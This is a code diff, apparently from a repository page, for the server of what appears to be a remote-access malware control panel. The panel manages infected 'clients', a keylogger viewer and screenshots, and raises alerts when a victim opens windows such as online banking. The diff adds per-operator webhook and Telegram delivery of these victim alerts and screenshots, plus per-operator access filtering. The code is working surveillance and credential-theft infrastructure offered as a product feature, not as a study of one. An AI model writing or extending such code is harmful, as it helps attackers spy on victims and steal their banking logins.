canAccessClient: boolean;
|
|
||||||
};
|
|
||||||
|
|
||||||
async function postPerUserTelegramNotifications(
|
|
||||||
record: NotificationRecord,
|
record: NotificationRecord,
|
||||||
getNotificationConfig: () => any,
|
|
||||||
getPerUserRecipients: (clientId: string) => PerUserTelegramRecipient[],
|
|
||||||
screenshot?: NotificationScreenshotRecord | null,
|
screenshot?: NotificationScreenshotRecord | null,
|
||||||
): Promise<void> {
|
): Promise<void> {
|
||||||
const config = getNotificationConfig();
|
await Promise.allSettled([
|
||||||
if (!config.telegramEnabled) return;
|
deliverToUserWebhook(target, record, screenshot),
|
||||||
const token = (config.telegramBotToken || "").trim();
|
deliverToUserTelegram(target, record, screenshot),
|
||||||
if (!token) return;
|
]);
|
||||||
|
|
||||||
const recipients = getPerUserRecipients(record.clientId);
|
|
||||||
const promises = recipients
|
|
||||||
.filter((r) => r.canAccessClient && r.chatId)
|
|
||||||
.map((r) => sendTelegramToChat(token, r.chatId, record, screenshot));
|
|
||||||
|
|
||||||
await Promise.allSettled(promises);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
export async function deliverNotificationWithScreenshot(
|
export async function deliverNotificationWithScreenshot(
|
||||||
record: NotificationRecord,
|
record: NotificationRecord,
|
||||||
getNotificationConfig: () => any,
|
getUserDeliveryTargets: (clientId: string) => UserDeliveryTarget[],
|
||||||
getPerUserRecipients?: (clientId: string) => PerUserTelegramRecipient[],
|
|
||||||
): Promise<void> {
|
): Promise<void> {
|
||||||
const screenshot = await waitForNotificationScreenshot(record.id);
|
const screenshot = await waitForNotificationScreenshot(record.id);
|
||||||
const deliveries: Promise<void>[] = [
|
const targets = getUserDeliveryTargets(record.clientId);
|
||||||
postNotificationWebhook(record, getNotificationConfig, screenshot),
|
await Promise.allSettled(targets.map((t) => deliverToUser(t, record, screenshot)));
|
||||||
postTelegramNotification(record, getNotificationConfig, screenshot),
|
|
||||||
];
|
|
||||||
|
|
||||||
if (getPerUserRecipients) {
|
|
||||||
deliveries.push(
|
|
||||||
postPerUserTelegramNotifications(record, getNotificationConfig, getPerUserRecipients, screenshot),
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
await Promise.allSettled(deliveries);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -3,6 +3,15 @@ import { AuditAction, logAudit } from "../../auditLog";
|
|||||||
import * as clientManager from "../../clientManager";
|
import * as clientManager from "../../clientManager";
|
||||||
import { getConfig, updateNotificationsConfig } from "../../config";
|
import { getConfig, updateNotificationsConfig } from "../../config";
|
||||||
import { encodeMessage } from "../../protocol";
|
import { encodeMessage } from "../../protocol";
|
||||||
|
import {
|
||||||
|
getUserNotificationSettings,
|
||||||
|
updateUserNotificationSettings,
|
||||||
|
} from "../../users";
|
||||||
|
import {
|
||||||
|
DEFAULT_WEBHOOK_TEMPLATE,
|
||||||
|
DEFAULT_TELEGRAM_TEMPLATE,
|
||||||
|
renderNotificationTemplate,
|
||||||
|
} from "../notification-delivery";
|
||||||
|
|
||||||
type RequestIpProvider = {
|
type RequestIpProvider = {
|
||||||
requestIP: (req: Request) => { address?: string } | null | undefined;
|
requestIP: (req: Request) => { address?: string } | null | undefined;
|
||||||
@@ -160,5 +169,207 @@ export async function handleNotificationsConfigRoutes(
|
|||||||
return Response.json({ ok: true, notifications: updated });
|
return Response.json({ ok: true, notifications: updated });
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (url.pathname === "/api/notifications/my-settings") {
|
||||||
|
const user = await authenticateRequest(req);
|
||||||
|
if (!user) {
|
||||||
|
return new Response(JSON.stringify({ error: "Not authenticated" }), {
|
||||||
|
status: 401,
|
||||||
|
headers: { "Content-Type": "application/json" },
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
if (req.method === "GET") {
|
||||||
|
const settings = getUserNotificationSettings(user.userId) ?? {
|
||||||
|
webhook_enabled: 0,
|
||||||
|
webhook_url: null,
|
||||||
|
webhook_template: null,
|
||||||
|
telegram_enabled: 0,
|
||||||
|
telegram_bot_token: null,
|
||||||
|
telegram_chat_id: null,
|
||||||
|
telegram_template: null,
|
||||||
|
};
|
||||||
|
return Response.json({
|
||||||
|
settings,
|
||||||
|
defaults: {
|
||||||
|
webhookTemplate: DEFAULT_WEBHOOK_TEMPLATE,
|
||||||
|
telegramTemplate: DEFAULT_TELEGRAM_TEMPLATE,
|
||||||
|
},
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
if (req.method === "PUT") {
|
||||||
|
let body: any = {};
|
||||||
|
try {
|
||||||
|
body = await req.json();
|
||||||
|
} catch {
|
||||||
|
return Response.json({ error: "Invalid JSON" }, { status: 400 });
|
||||||
|
}
|
||||||
|
|
||||||
|
const patch: Record<string, any> = {};
|
||||||
|
|
||||||
|
if (typeof body?.webhook_enabled === "boolean" || typeof body?.webhook_enabled === "number") {
|
||||||
|
patch.webhook_enabled = body.webhook_enabled ? 1 : 0;
|
||||||
|
}
|
||||||
|
if (typeof body?.webhook_url === "string") {
|
||||||
|
const url_val = body.webhook_url.trim();
|
||||||
|
if (url_val) {
|
||||||
|
try {
|
||||||
|
const parsed = new URL(url_val);
|
||||||
|
if (!/^https?:$/.test(parsed.protocol)) {
|
||||||
|
return Response.json({ error: "Webhook URL must use http(s)" }, { status: 400 });
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
return Response.json({ error: "Invalid webhook URL" }, { status: 400 });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
patch.webhook_url = url_val || null;
|
||||||
|
}
|
||||||
|
if (typeof body?.webhook_template === "string") {
|
||||||
|
patch.webhook_template = body.webhook_template.trim() || null;
|
||||||
|
}
|
||||||
|
if (typeof body?.telegram_enabled === "boolean" || typeof body?.telegram_enabled === "number") {
|
||||||
|
patch.telegram_enabled = body.telegram_enabled ? 1 : 0;
|
||||||
|
}
|
||||||
|
if (typeof body?.telegram_bot_token === "string") {
|
||||||
|
patch.telegram_bot_token = body.telegram_bot_token.trim() || null;
|
||||||
|
}
|
||||||
|
if (typeof body?.telegram_chat_id === "string") {
|
||||||
|
patch.telegram_chat_id = body.telegram_chat_id.trim() || null;
|
||||||
|
}
|
||||||
|
if (typeof body?.telegram_template === "string") {
|
||||||
|
patch.telegram_template = body.telegram_template.trim() || null;
|
||||||
|
}
|
||||||
|
|
||||||
|
const result = updateUserNotificationSettings(user.userId, patch);
|
||||||
|
if (!result.success) {
|
||||||
|
return Response.json({ error: result.error }, { status: 400 });
|
||||||
|
}
|
||||||
|
|
||||||
|
const updated = getUserNotificationSettings(user.userId);
|
||||||
|
return Response.json({ ok: true, settings: updated });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (req.method === "POST" && url.pathname === "/api/notifications/my-settings/preview/webhook") {
|
||||||
|
const user = await authenticateRequest(req);
|
||||||
|
if (!user) {
|
||||||
|
return new Response(JSON.stringify({ error: "Not authenticated" }), {
|
||||||
|
status: 401,
|
||||||
|
headers: { "Content-Type": "application/json" },
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
let body: any = {};
|
||||||
|
try {
|
||||||
|
body = await req.json();
|
||||||
|
} catch {
|
||||||
|
return Response.json({ error: "Invalid JSON" }, { status: 400 });
|
||||||
|
}
|
||||||
|
|
||||||
|
const webhookUrl = typeof body?.webhookUrl === "string" ? body.webhookUrl.trim() : "";
|
||||||
|
const webhookTemplate = typeof body?.webhookTemplate === "string" ? body.webhookTemplate : "";
|
||||||
|
|
||||||
|
if (!webhookUrl) {
|
||||||
|
return Response.json({ error: "Webhook URL is required" }, { status: 400 });
|
||||||
|
}
|
||||||
|
|
||||||
|
let parsed: URL;
|
||||||
|
try {
|
||||||
|
parsed = new URL(webhookUrl);
|
||||||
|
if (!/^https?:$/.test(parsed.protocol)) {
|
||||||
|
return Response.json({ error: "Webhook URL must use http(s)" }, { status: 400 });
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
return Response.json({ error: "Invalid webhook URL" }, { status: 400 });
|
||||||
|
}
|
||||||
|
|
||||||
|
const sampleRecord = {
|
||||||
|
id: "preview-notification",
|
||||||
|
clientId: "abc123def456",
|
||||||
|
host: "DESKTOP-7G2ABK1",
|
||||||
|
user: "john.doe",
|
||||||
|
os: "windows",
|
||||||
|
title: "Online Banking - Secure Login",
|
||||||
|
process: "chrome.exe",
|
||||||
|
processPath: "C:/Program Files/Google/Chrome/Application/chrome.exe",
|
||||||
|
pid: 4392,
|
||||||
|
keyword: "bank",
|
||||||
|
category: "active_window" as const,
|
||||||
|
ts: Date.now(),
|
||||||
|
};
|
||||||
|
|
||||||
|
const payload = renderNotificationTemplate(
|
||||||
|
webhookTemplate,
|
||||||
|
sampleRecord,
|
||||||
|
DEFAULT_WEBHOOK_TEMPLATE,
|
||||||
|
);
|
||||||
|
|
||||||
|
const canonicalPayload = JSON.stringify({ type: "notification", data: sampleRecord });
|
||||||
|
const customTemplate = webhookTemplate.trim();
|
||||||
|
let jsonPayloadToSend = canonicalPayload;
|
||||||
|
if (customTemplate) {
|
||||||
|
try {
|
||||||
|
jsonPayloadToSend = JSON.stringify(JSON.parse(payload));
|
||||||
|
} catch {
|
||||||
|
jsonPayloadToSend = canonicalPayload;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
const isDiscord = /discord(app)?\.com$/i.test(parsed.hostname);
|
||||||
|
let response: Response;
|
||||||
|
let sentPayload = jsonPayloadToSend;
|
||||||
|
let sentMode: "json" | "discord" = "json";
|
||||||
|
|
||||||
|
if (isDiscord) {
|
||||||
|
sentMode = "discord";
|
||||||
|
const discordPayload = {
|
||||||
|
content: `🔔 Notification: ${sampleRecord.title}`,
|
||||||
|
embeds: [
|
||||||
|
{
|
||||||
|
title: sampleRecord.keyword ? `Keyword: ${sampleRecord.keyword}` : "Active Window",
|
||||||
|
description: sampleRecord.title,
|
||||||
|
fields: [
|
||||||
|
{ name: "Client", value: sampleRecord.clientId || "unknown", inline: true },
|
||||||
|
{ name: "User", value: sampleRecord.user || "unknown", inline: true },
|
||||||
|
{ name: "Host", value: sampleRecord.host || "unknown", inline: true },
|
||||||
|
{ name: "Process", value: sampleRecord.process || "unknown", inline: true },
|
||||||
|
],
|
||||||
|
timestamp: new Date(sampleRecord.ts).toISOString(),
|
||||||
|
},
|
||||||
|
],
|
||||||
|
};
|
||||||
|
sentPayload = JSON.stringify(discordPayload);
|
||||||
|
response = await fetch(parsed.toString(), {
|
||||||
|
method: "POST",
|
||||||
|
headers: { "Content-Type": "application/json" },
|
||||||
|
body: sentPayload,
|
||||||
|
});
|
||||||
|
} else {
|
||||||
|
response = await fetch(parsed.toString(), {
|
||||||
|
method: "POST",
|
||||||
|
headers: { "Content-Type": "application/json" },
|
||||||
|
body: jsonPayloadToSend,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
const responseText = await response.text().catch(() => "");
|
||||||
|
|
||||||
|
return Response.json({
|
||||||
|
ok: response.ok,
|
||||||
|
status: response.status,
|
||||||
|
statusText: response.statusText,
|
||||||
|
mode: sentMode,
|
||||||
|
payload: sentPayload,
|
||||||
|
responseBody: responseText ? responseText.slice(0, 500) : "",
|
||||||
|
});
|
||||||
|
} catch (err: any) {
|
||||||
|
return Response.json(
|
||||||
|
{ error: err?.message || "Failed to POST preview webhook" },
|
||||||
|
{ status: 502 },
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -205,7 +205,7 @@ export async function handleWsUpgradeRoutes(
|
|||||||
return new Response("Unauthorized", { status: 401 });
|
return new Response("Unauthorized", { status: 401 });
|
||||||
}
|
}
|
||||||
const ip = server.requestIP(req)?.address || "";
|
const ip = server.requestIP(req)?.address || "";
|
||||||
if (server.upgrade(req, { data: { role: "notifications_viewer", clientId: "", ip, userRole: user.role } })) {
|
if (server.upgrade(req, { data: { role: "notifications_viewer", clientId: "", ip, userRole: user.role, userId: user.userId } })) {
|
||||||
return new Response();
|
return new Response();
|
||||||
}
|
}
|
||||||
return new Response("Upgrade failed", { status: 500 });
|
return new Response("Upgrade failed", { status: 500 });
|
||||||
|
|||||||
@@ -54,6 +54,7 @@ type CreateDeps = {
|
|||||||
pendingPluginEvents: Map<string, Array<{ event: string; payload: any }>>;
|
pendingPluginEvents: Map<string, Array<{ event: string; payload: any }>>;
|
||||||
pluginState: { enabled: Record<string, boolean>; lastError: Record<string, string> };
|
pluginState: { enabled: Record<string, boolean>; lastError: Record<string, string> };
|
||||||
getNotificationConfig: () => NotificationConfigShape;
|
getNotificationConfig: () => NotificationConfigShape;
|
||||||
|
canUserAccessClient: (userId: number, userRole: string, clientId: string) => boolean;
|
||||||
storeNotificationScreenshot: (
|
storeNotificationScreenshot: (
|
||||||
pending: PendingNotificationScreenshot,
|
pending: PendingNotificationScreenshot,
|
||||||
bytes: Uint8Array,
|
bytes: Uint8Array,
|
||||||
@@ -175,14 +176,28 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
|
|||||||
return {
|
return {
|
||||||
handleNotificationViewerOpen(ws: ServerWebSocket<SocketData>) {
|
handleNotificationViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||||
const sessionId = uuidv4();
|
const sessionId = uuidv4();
|
||||||
|
const userId = ws.data.userId;
|
||||||
|
const userRole = ws.data.userRole || "";
|
||||||
sessionManager.addNotificationSession({
|
sessionManager.addNotificationSession({
|
||||||
id: sessionId,
|
id: sessionId,
|
||||||
viewer: ws,
|
viewer: ws,
|
||||||
createdAt: Date.now(),
|
createdAt: Date.now(),
|
||||||
|
userId,
|
||||||
|
userRole,
|
||||||
});
|
});
|
||||||
ws.data.sessionId = sessionId;
|
ws.data.sessionId = sessionId;
|
||||||
logger.info(`[notify] viewer connected session=${sessionId}`);
|
logger.info(`[notify] viewer connected session=${sessionId} userId=${userId ?? "?"} role=${userRole}`);
|
||||||
safeSendViewer(ws, { type: "ready", sessionId, history: deps.notificationHistory });
|
|
||||||
|
const visibleHistory =
|
||||||
|
userRole === "admin"
|
||||||
|
? deps.notificationHistory
|
||||||
|
: deps.notificationHistory.filter(
|
||||||
|
(item) =>
|
||||||
|
userId !== undefined &&
|
||||||
|
deps.canUserAccessClient(userId, userRole, item.clientId),
|
||||||
|
);
|
||||||
|
|
||||||
|
safeSendViewer(ws, { type: "ready", sessionId, history: visibleHistory });
|
||||||
},
|
},
|
||||||
|
|
||||||
handleNotification(clientId: string, payload: any) {
|
handleNotification(clientId: string, payload: any) {
|
||||||
@@ -221,6 +236,13 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
|
|||||||
requestNotificationScreenshot(info, record);
|
requestNotificationScreenshot(info, record);
|
||||||
|
|
||||||
for (const session of sessionManager.getAllNotificationSessions().values()) {
|
for (const session of sessionManager.getAllNotificationSessions().values()) {
|
||||||
|
const sRole = session.userRole ?? session.viewer.data.userRole ?? "";
|
||||||
|
const sUserId = session.userId ?? session.viewer.data.userId;
|
||||||
|
if (sRole !== "admin") {
|
||||||
|
if (sUserId === undefined || !deps.canUserAccessClient(sUserId, sRole, clientId)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
safeSendViewer(session.viewer, { type: "notification", item: record });
|
safeSendViewer(session.viewer, { type: "notification", item: record });
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -19,6 +19,7 @@ export type SocketData = {
|
|||||||
sessionId?: string;
|
sessionId?: string;
|
||||||
ip?: string;
|
ip?: string;
|
||||||
userRole?: string;
|
userRole?: string;
|
||||||
|
userId?: number;
|
||||||
wasKnown?: boolean;
|
wasKnown?: boolean;
|
||||||
autoTasksRan?: boolean;
|
autoTasksRan?: boolean;
|
||||||
};
|
};
|
||||||
@@ -55,6 +56,8 @@ export type NotificationsViewer = {
|
|||||||
id: string;
|
id: string;
|
||||||
viewer: ServerWebSocket<SocketData>;
|
viewer: ServerWebSocket<SocketData>;
|
||||||
createdAt: number;
|
createdAt: number;
|
||||||
|
userId?: number;
|
||||||
|
userRole?: string;
|
||||||
};
|
};
|
||||||
|
|
||||||
export type KeyloggerViewer = {
|
export type KeyloggerViewer = {
|
||||||
|
|||||||
@@ -129,6 +129,25 @@ try {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const notificationColumns: Array<{ sql: string; label: string }> = [
|
||||||
|
{ sql: `ALTER TABLE users ADD COLUMN webhook_enabled INTEGER DEFAULT 0`, label: "webhook_enabled" },
|
||||||
|
{ sql: `ALTER TABLE users ADD COLUMN webhook_url TEXT DEFAULT NULL`, label: "webhook_url" },
|
||||||
|
{ sql: `ALTER TABLE users ADD COLUMN webhook_template TEXT DEFAULT NULL`, label: "webhook_template" },
|
||||||
|
{ sql: `ALTER TABLE users ADD COLUMN telegram_enabled INTEGER DEFAULT 0`, label: "telegram_enabled" },
|
||||||
|
{ sql: `ALTER TABLE users ADD COLUMN telegram_bot_token TEXT DEFAULT NULL`, label: "telegram_bot_token" },
|
||||||
|
{ sql: `ALTER TABLE users ADD COLUMN telegram_template TEXT DEFAULT NULL`, label: "telegram_template" },
|
||||||
|
];
|
||||||
|
for (const col of notificationColumns) {
|
||||||
|
try {
|
||||||
|
db.exec(col.sql);
|
||||||
|
logger.info(`[users] Added ${col.label} column to existing database`);
|
||||||
|
} catch (err: any) {
|
||||||
|
if (!err.message?.includes("duplicate column name")) {
|
||||||
|
logger.error("[users] Migration error:", err);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
const userCount = db.prepare("SELECT COUNT(*) as count FROM users").get() as {
|
const userCount = db.prepare("SELECT COUNT(*) as count FROM users").get() as {
|
||||||
count: number;
|
count: number;
|
||||||
};
|
};
|
||||||
@@ -540,3 +559,100 @@ export function getUsersWithTelegramChatId(): Array<{ id: number; username: stri
|
|||||||
)
|
)
|
||||||
.all() as any[];
|
.all() as any[];
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ─── Per-user notification delivery settings ─────────────────────────────────
|
||||||
|
|
||||||
|
export interface UserNotificationSettings {
|
||||||
|
webhook_enabled: number;
|
||||||
|
webhook_url: string | null;
|
||||||
|
webhook_template: string | null;
|
||||||
|
telegram_enabled: number;
|
||||||
|
telegram_bot_token: string | null;
|
||||||
|
telegram_chat_id: string | null;
|
||||||
|
telegram_template: string | null;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function getUserNotificationSettings(userId: number): UserNotificationSettings | null {
|
||||||
|
const row = db
|
||||||
|
.prepare(
|
||||||
|
"SELECT webhook_enabled, webhook_url, webhook_template, telegram_enabled, telegram_bot_token, telegram_chat_id, telegram_template FROM users WHERE id = ?",
|
||||||
|
)
|
||||||
|
.get(userId) as UserNotificationSettings | undefined;
|
||||||
|
return row ?? null;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function updateUserNotificationSettings(
|
||||||
|
userId: number,
|
||||||
|
settings: Partial<UserNotificationSettings>,
|
||||||
|
): { success: boolean; error?: string } {
|
||||||
|
const fields: string[] = [];
|
||||||
|
const values: any[] = [];
|
||||||
|
|
||||||
|
if ("webhook_enabled" in settings) {
|
||||||
|
fields.push("webhook_enabled = ?");
|
||||||
|
values.push(settings.webhook_enabled ? 1 : 0);
|
||||||
|
}
|
||||||
|
if ("webhook_url" in settings) {
|
||||||
|
fields.push("webhook_url = ?");
|
||||||
|
values.push(settings.webhook_url || null);
|
||||||
|
}
|
||||||
|
if ("webhook_template" in settings) {
|
||||||
|
fields.push("webhook_template = ?");
|
||||||
|
values.push(settings.webhook_template || null);
|
||||||
|
}
|
||||||
|
if ("telegram_enabled" in settings) {
|
||||||
|
fields.push("telegram_enabled = ?");
|
||||||
|
values.push(settings.telegram_enabled ? 1 : 0);
|
||||||
|
}
|
||||||
|
if ("telegram_bot_token" in settings) {
|
||||||
|
fields.push("telegram_bot_token = ?");
|
||||||
|
values.push(settings.telegram_bot_token || null);
|
||||||
|
}
|
||||||
|
if ("telegram_chat_id" in settings) {
|
||||||
|
fields.push("telegram_chat_id = ?");
|
||||||
|
values.push(settings.telegram_chat_id || null);
|
||||||
|
}
|
||||||
|
if ("telegram_template" in settings) {
|
||||||
|
fields.push("telegram_template = ?");
|
||||||
|
values.push(settings.telegram_template || null);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (fields.length === 0) return { success: true };
|
||||||
|
|
||||||
|
try {
|
||||||
|
values.push(userId);
|
||||||
|
db.prepare(`UPDATE users SET ${fields.join(", ")} WHERE id = ?`).run(...values);
|
||||||
|
return { success: true };
|
||||||
|
} catch (err: any) {
|
||||||
|
logger.error("[users] updateUserNotificationSettings error:", err);
|
||||||
|
return { success: false, error: err.message || "Failed to update notification settings" };
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface UserDeliveryRow {
|
||||||
|
id: number;
|
||||||
|
username: string;
|
||||||
|
role: UserRole;
|
||||||
|
client_scope: ClientAccessScope;
|
||||||
|
webhook_enabled: number;
|
||||||
|
webhook_url: string | null;
|
||||||
|
webhook_template: string | null;
|
||||||
|
telegram_enabled: number;
|
||||||
|
telegram_bot_token: string | null;
|
||||||
|
telegram_chat_id: string | null;
|
||||||
|
telegram_template: string | null;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function getUsersForNotificationDelivery(): UserDeliveryRow[] {
|
||||||
|
return db
|
||||||
|
.prepare(
|
||||||
|
`SELECT id, username, role, client_scope,
|
||||||
|
webhook_enabled, webhook_url, webhook_template,
|
||||||
|
telegram_enabled, telegram_bot_token, telegram_chat_id, telegram_template
|
||||||
|
FROM users
|
||||||
|
WHERE (webhook_enabled = 1 AND webhook_url IS NOT NULL AND webhook_url != '')
|
||||||
|
OR (telegram_enabled = 1 AND telegram_bot_token IS NOT NULL AND telegram_bot_token != ''
|
||||||
|
AND telegram_chat_id IS NOT NULL AND telegram_chat_id != '')`,
|
||||||
|
)
|
||||||
|
.all() as UserDeliveryRow[];
|
||||||
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user